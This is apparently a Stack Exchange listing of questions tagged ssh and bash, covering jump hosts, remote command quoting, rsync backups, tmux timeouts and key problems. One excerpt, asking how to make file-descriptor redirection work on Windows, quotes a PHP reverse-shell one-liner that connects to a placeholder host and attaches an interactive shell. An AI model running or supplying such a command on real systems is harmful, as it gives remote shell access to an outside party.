Skip to main content

All Questions

Tagged with
Filter by
Sorted by
Tagged with
1 vote
1 answer
30 views

SSH from A through B to C, using private key on B

Schematic: ssh ssh A ------> B ------> C ^ ^ using A's using B's ssh key ssh key Preconditions: A is running ssh-agent A can access B B can access C A can't ...
J.Nexus's user avatar
  • 11
1 vote
1 answer
36 views

ssh -t host1 ssh host2 "cat < /tmp/test.txt" – file not found

I'm trying to run cat < /tmp/test.txt on remote host host2 through host1. The file /tmp/test.txt exists on host2. I try: # locally ssh -t host1 ssh host2 "cat < /tmp/test.txt" The ...
Daniel YC Lin's user avatar
0 votes
1 answer
54 views

How to transfer a file to a remote host using parallel + ssh?

I am writing scripts to poll a large number of remote hosts over ssh using gnu parallel. I copy the script to them, run it and get the results. Right now I'm using two bundles parallel + scp to ...
Дмитрий Брыкалов's user avatar
1 vote
1 answer
42 views

git - using gitconfig to switch repository host address

So right now I have some alias in my ~/.ssh/config: Host github_company_a HostName github.com Host github_company_b HostName github.com and I use the alias directly: git clone git@...
Prometheus's user avatar
0 votes
1 answer
69 views

I'm getting on gitbash a warning WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED! for github

When I try to clone a git repository in gitbash on Windows I get following error: $ ssh -T [email protected] @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@ @ WARNING: REMOTE HOST ...
Asterios Raptis's user avatar
0 votes
0 answers
28 views

Set terminal color without having bash history look wrong? [duplicate]

A site suggested I wrote the below to set the color of my terminal in `~/.bashrc export PS1=`printf "\033[32m$ \033[39m"` If I log in through ssh, press up, home, up text will be garbled. ...
Andrew Spar's user avatar
1 vote
0 answers
29 views

How to make a script to launch different scripts in different workspaces in linux?

I have limited access to a linux machine, meaning I cannot install any external tools. I want to make a script to open terminals with ssh at different workspaces. However, I found that one way to move ...
Yi Qiang Ji's user avatar
0 votes
1 answer
39 views

pipefail over ssh in linux

set -o pipefail is not getting evaluated correctly on the remote host if the set command is used in ssh command. Example ssh hostname "set -o pipefail; false | true; echo $?" - gives 0 (Not ...
Praneeth Gudumasu's user avatar
0 votes
0 answers
273 views

Permission denied error when trying to SSH through a script

I have a set of Bash scripts designed to establish an SSH connection from a local machine to a remote server through a middle server. The local script initiates a tunnel using socat, and the middle ...
FLSill's user avatar
  • 1
1 vote
1 answer
867 views

How to pass bash's $@ over ssh accounting for spaces in arguments?

I want to read logs conveniently from my server. I'm trying to write a script that reads output of journalctl from my server, applying the parameters I pass to the script to journalctl call. I may ...
jojman's user avatar
  • 473
1 vote
1 answer
227 views

CentOS 9 Stream SSH with PuTTy - multiline commands

I've been using CentOS versions 6, 7 and 8 for a long time. Finally, I started using CentOS 9 Stream version. It doesn't matter whether GNOME desktop version or server version (black screen), I ...
aycanuAydemir's user avatar
0 votes
0 answers
122 views

I can't connect from Mac when I change the default shell to bash on Windows 11 SSH

I started an OpenSSH server on Windows and connected from a Mac terminal. I was able to connect when the default shell was cmd.exe, PowerShell, or GitBash, but not when I changed to bash. New-...
Masamoto Miyata's user avatar
3 votes
1 answer
117 views

Why can I ssh and return a result faster than Linux can with a bundled command?

I'm writing a short bash script that involves logging into roughly 100 nodes and counting the number of processes running in top with my username, and I'm trying to combine the ssh-related processes ...
Headphones's user avatar
1 vote
1 answer
1k views

How do I create a shell script that will exit the ssh session after executing the remote commands

I'm trying to write a bash script to compile and deploy some code to a remote server. So far I have been struggling to figure out how to get the script to exit the ssh session. I thought I could just ...
pbuchheit's user avatar
  • 113
0 votes
0 answers
934 views

Bash freezes after SSH login unless Ctrl+C is pressed immediately

I'm facing an issue where my Ubuntu bash freezes after an SSH login unless I press Ctrl+C immediately. It appears that something is loading in the background. This problem started occurring after I ...
Happyman's user avatar
2 votes
1 answer
448 views

Get `pv` work in `ssh` session

How do I get pv to work when called remotely via ssh? E.g. a@a-virtual-machine:~$ ssh [email protected] "pv < ~/Documents/Local/staging.sql.gz" | gunzip > /dev/null This prints no ...
Anton Duzenko's user avatar
0 votes
0 answers
202 views

Connecting to X server with xming and putty: 'xterm: Xt error: Can't open display' error troubleshooting

I keep getting the xterm: Xt error: cannot connect to X server:[:0] error trying to run PGPLOT function. I am running xmings and putty with X11 forwarding enabled. I have tried echo $DISPLAY and ...
user21899643's user avatar
0 votes
0 answers
96 views

How to automate mybb installation using ssh bash script

I have created this bash script to install mybb application automatically on Centos stream 8. SSH Bash script #!/bin/bash # Define variables for MyBB installation DB_NAME=mybb_db DB_USER=mybb_user ...
Mehul Kumar's user avatar
0 votes
1 answer
149 views

ProxyJump not running ForceCommand defined in sshd_config

On a bastion host, I have a shell_session_recording.sh script which uses the script command to record ssh session on bastion host and all interactive sessions ie all remote session after connecting to ...
John's user avatar
  • 3
1 vote
0 answers
92 views

How to make "<&3 >&3 2>&3" command works in Windows as in Linux?

I tried this commmand on Debian GNU/Linux 11 (bullseye) shell : php -r '$sock=fsockopen("HOST",PORT);exec("/bin/sh -i <&3 >&3 2>&3");', and it worked ...
Wira Wibowo's user avatar
0 votes
0 answers
949 views

Using rsync and ssh inside python script to specific folder

I am attempting to make a copy of the /home folder on a remote Raspberry Pi (pitwo) to a local Raspberry Pi (pizero) via rsync and ssh. The local Pi has a hard drive connected that is shared using ...
Kevin's user avatar
  • 21
0 votes
1 answer
294 views

Tortoise Git not using id_rsa

I use Tortoise Git on Windows 10. When I push it asks me password although I do have %userprofile%\.ssh\id_rsa file. I also tried to use git from command line (Git bash). If I google I get instructed ...
user1787194's user avatar
0 votes
1 answer
144 views

How to fix Bash script thrown off by ssh option?

I have the following Bash script: #!/usr/bin/expect -f set port [lindex $argv 0] set cmd_target [lindex $argv 1] set login [lindex $argv 2]@[lindex $argv 3] set username [lindex $argv 2] set hostname [...
CaTx's user avatar
  • 133
1 vote
1 answer
137 views

stopping ssh process that is sent to background without corrupting stdout

My script aims to extract a text log file using tail -f and a wireshark trace using tshark. But I don't know if these are the best options for my goal. My script has to ssh into a machine (which I ...
Fixenet's user avatar
  • 13
1 vote
1 answer
122 views

scp doesn't trigger initial prompt even though known_hosts is empty or deleted

I have a bash script to copy a file to a remote server using scp and expect. The script is as follows: #!/usr/bin/expect -f set port [lindex $argv 0] set file_to_send [lindex $argv 1] set login [...
CaTx's user avatar
  • 133
3 votes
2 answers
1k views

Limit a user logged in by ssh to read only?

I am using backuppc to backup some hosts - but I want to limit the backuppc's rsync command on that hosts to "read only". One option would be to get the rsync command and limit the backuppcs ...
philipp's user avatar
  • 31
5 votes
1 answer
481 views

Unix script with a trap inside ssh

My plan is to write a script to debug a remote web server. Since the debug port is blocked by the firewall, I need to forward the remote port via ssh to my local machine. This part is working fine. ...
Johannes von Zmuda's user avatar
1 vote
1 answer
340 views

Start cygwin bash.exe without inheriting windows home

I want to be able to run in the cygwin environment from CMD but when I run C:\cygwin64\bin\bash.exe -l -i my home gets set to the windows home. As I understand bash.exe inherits the environment from ...
Pangi's user avatar
  • 15
0 votes
1 answer
961 views

How do I find the computer name who connected to ssh

I have an ubuntu20 server and a bash script located in /etc/profile.d sends a message to telegram if anyone connect using ssh. The purpose of this script is to find out if there is a hack and to take ...
ibraheem mohsen's user avatar
1 vote
0 answers
251 views

Why does bash sometimes not start properly when i SSH into my raspberry pi from my computer (but works when SSH'ing from my phone)?

Usually, I can ssh into my raspberry pi (running Raspbian 11) just fine. But sometimes, every few days, ssh will timeout. This will last about a day (independent of restarts of my computer), until ...
pusteblume's user avatar
0 votes
2 answers
951 views

Running a Command using sshpass

I am trying to run a command using sshpass in a bash script to another linux server. kernel_ipv4=1.2.3.4 vmpassword=dfbvndfbnpdp sshpass -p "$vmpassword" ssh -o "...
ph3ro's user avatar
  • 143
6 votes
1 answer
1k views

sending print string command to remote machine

I'd like to print some string to all open terminals processes that are running in remote machine. currently I'm using ssh to connect the remote machine, and than I echo my string into wall command : ...
osxUser's user avatar
  • 163
0 votes
0 answers
1k views

Bypassing bastion idle timeout : Session stopped

I'm forced to work through bastion to connect to the servers I work on. that's fine but the idle timeout is ridiculously small and it totally ignores the ssh keep alive of the client. I can't change ...
krpt's user avatar
  • 21
0 votes
1 answer
1k views

Starting ssh-agent from a script for use in multiple scripts (invoked by git)

I have some homepages in a git repository each. They are built by Jekyll. When I change something, I use git's pre-push hook to let Jekyll build the page and sync it with my HTTP server via rsync. ...
Tobias Leupold's user avatar
0 votes
1 answer
203 views

How to ssh into a remote machine by passing through multiple bridges machines, become another user and run a command as that user

I need to save in a variable on my local machine a value that is returned from a script or command - let's take bash /tmp/script1.sh for the example - which lies on a remote machine - let's say ...
Tms91's user avatar
  • 182
1 vote
0 answers
3k views

MobaXterm startup shell script with input arguments

I am trying to Run MobaXterm using a powershell script. On startup, I want it to execute the bash script 'shell.sh' with a '$pathx' input. this is my function to run Mobaxterm: function moba_open($...
Vivek's user avatar
  • 11
0 votes
1 answer
999 views

SSH - quoting error when composing command line with ProxyCommand (bash)

I would like to use the ssh command in a bash script running on srcHost to remotely execute a command on a range of hosts (targetHostX). Some of those remote hosts are only reachable via a jump host (...
garreth33's user avatar
2 votes
1 answer
1k views

Execute EOF command remotely in one line

I am facing a problem. If I execute this command, it works normally, but I need to execute it using SSH connection. Is there a way to do it in just one line of command? Thank you for your attention. ...
Antonio Costa's user avatar
2 votes
0 answers
191 views

How to escape '@' in an ssh login_name with multiple credentials

I have a multiple jumphost connection that needs to be automated and I'm currently facing an issue when I attempt to login. Using expect works as intended, but unfortunately, I have to be able to ...
Idris's user avatar
  • 21
0 votes
1 answer
554 views

Why can't I scroll or use ctrl-a/ctrl-e when using screen?

I use iTerm2 and I realized that when I'm using screen: ssh -t [username]@[domain].edu 'screen -DR' I noticed the following vagaries: I can't use my mouse to scroll up and down in an iTerm2 window I ...
O.rka's user avatar
  • 285
0 votes
0 answers
433 views

Can I log into Windows OpenSSH with default shell as pwsh.exe?

I can't login to Windows OpenSSH is my default shell is not powershell. If it is, then reg add HKLM\SOFTWARE\OpenSSH /v DefaultShell /d C:\Windows\system32\WindowsPowerShell\v1.0\powershell.exe makes ...
Guerlando OCs's user avatar
-1 votes
1 answer
347 views

Execute command after successful login as Root

I want execute a command after someone successful login as Root user, its common to send email to admin about this but i want to execute my command instead of send an email to admin. I’ve added my ...
Nimafire's user avatar
0 votes
1 answer
737 views

How do I ensure tmux disconnects when session times out, instead of exiting

Compliance requires a 10 minute timeout on ssh sessions. I want to use tmux so I don't lose the stdout from long running processes. [ -n "$PS1" -a -z "$TMUX" ] && exec tmux ...
Jeter-work's user avatar
0 votes
0 answers
192 views

Reverse SSH on Windows Git BASH

I have multiples Windows 10 computer where I can't open anymore ports, neither install more software. But those computers have git bash installed on it. I would like to be able to run some bash script ...
olive007's user avatar
  • 121
0 votes
0 answers
1k views

How to fix permission denied publickey on Windows10 Git Bash?

I'm unable to ssh into a machine that operates bots of my friend. He added my public ssh key, so i can join, but I get the permission denied privatkey error message. I removed the actual ip $ ssh -vT ...
Timm's user avatar
  • 1
0 votes
0 answers
221 views

Issue with add Multiple user account and SSH key using Bash script

As per our requirement we provided our devloper group: devs:r-x to /var/log/httpd directory. What is the best way to create a user account (in my case Dev User) in a Group using bash scrip, with the ...
santosh baruah's user avatar
0 votes
0 answers
40 views

determining what a linux command is doing

When I SSH into a machine I can run a particular command (let's say mycommand) on that machine's bash terminal without issue. BUT when I try to do ssh localhost 'mycommand' I get an "unknown ...
neubert's user avatar
  • 7,204
0 votes
0 answers
85 views

multiple folder sync with rsync from server to local storage

im trying this for a first time, and im not the best in sh. #!/bin/sh SCRIPTPATH='server/cronscripts' SSHKEYNAME='keyid' FROMDIRPATH='server/source-folder/folderA/' TOSERVERANDPATH='local-...
Excyp's user avatar
  • 1
0 votes
1 answer
2k views

simple bash script for collecting logs

I'm new with BASH scripting and I need a little help if it's possible. Let's say there's a UNIX server from which I want to gather some simple log events (let's say .txt files). Let's say log events ...
mrk's user avatar
  • 1
1 vote
1 answer
379 views

How to properly make a SSH-call LOCALLY async/background/independent/...?

Use-case I have a backup software able to read data to be backed up from named pipes. I want to use that feature to backup database dumps of e.g. MySQL and PostgreSQL which are hosted within multiple ...
Thorsten Schöning's user avatar

1
2 3 4 5
14